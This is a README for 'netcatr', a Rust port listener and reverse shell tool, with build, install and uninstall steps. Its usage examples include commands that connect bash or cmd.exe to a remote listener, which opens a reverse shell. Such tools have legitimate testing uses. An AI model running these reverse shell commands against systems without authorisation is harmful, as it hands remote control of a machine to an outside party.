_ _
_ __ ___ | |_ ___ __ _ | |_ _ __
| '_ \ / _ \| __| / __| / _` || __|| '__|
| | | || __/| |_ | (__ | (_| || |_ | |
|_| |_| \___| \__| \___| \__,_| \__||_|
๐ก netcatr: A cross-platform port listener and reverse shell application designed for ease of use, providing seamless network connectivity.
- Command history & Tab completion (Interactive mode);
- CTRL-C blocking;
- Colors;
- Everything easy;
- Listen mode (listen);
- Reverse shell mode (connect);
To install netcatr, simply clone the repository and follow the instructions below:
git clone [email protected]:trinhminhtriet/netcatr.git
cd netcatr
cargo build --release
cp ./target/release/netcatr /usr/local/bin/Running the below command will globally install the netcatr binary.
cargo install netcatrThe most basic and useful example to start listening on a port would be (you can even run vim inside netcatr with this):
netcatr listen -ib 55600and to connect:
netcatr connect -s bash the.0.0.ip 55600Reverse shell from Windows:
netcatr connect -s cmd.exe the.0.0.ip 55600Running the below command will globally uninstall the netcatr binary.
cargo uninstall netcatrRemove the project repo
rm -rf /path/to/git/clone/netcatrWe welcome contributions!
- Fork this repository;
- Create a branch with your feature:
git checkout -b my-feature; - Commit your changes:
git commit -m "feat: my new feature"; - Push to your branch:
git push origin my-feature.
Once your pull request has been merged, you can delete your branch.
This project is licensed under the MIT License - see the LICENSE file for details.